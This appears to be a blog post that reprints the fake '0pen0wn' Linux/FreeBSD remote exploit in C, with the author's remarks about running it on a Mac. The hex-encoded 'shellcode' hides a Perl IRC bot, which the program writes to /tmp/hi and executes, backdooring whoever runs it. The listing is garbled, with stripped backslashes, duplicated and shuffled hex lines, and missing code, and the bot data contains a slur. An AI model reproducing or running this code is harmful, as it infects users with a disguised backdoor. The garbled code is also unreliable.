"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x7dx7dx23x63x68x6dx6fx64x20x2bx78x20x2fx74x6dx70"
"x2fx68x69x20x32x3ex2fx64x65x76x2fx6ex75x6cx6cx3b"
"x2fx74x6dx70x2fx68x69x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("n[+] 0pen0wn 0wnz Linux/FreeBSDn");
printf("  Usage: %s -h  -p portn",arg);
printf("  Options:n");
printf("  t-h ip/host of targetn");
printf("  t-p portn");
printf("  t-d usernamen");
printf("  t-B memory_limit 8/16/64nnn");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf("  [-] Connecting failedn");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) {
printf("  [-] connecting failedn");
}

payload[sizeof(payload)-1] = '';
payload[sizeof(payload)-2] = '';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]nn");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf("  [-] failed to exploit target  n");
close(sock);
return 0;
}

=======================

So it run’s on Macs as well, I know it’s because of the underpining BSD subsystem, but it’s still cool, even if it does rely on human idiocracy.

I’m really curious how many people are actually going to fall for this one, and I only wish I could see their faces.

Well, Time Machine restore took me an hour and now my Mac’s running like a dream again, so a good result was achieved, and I had some fun doing it.
The world’s getting nasty out there people, be safe!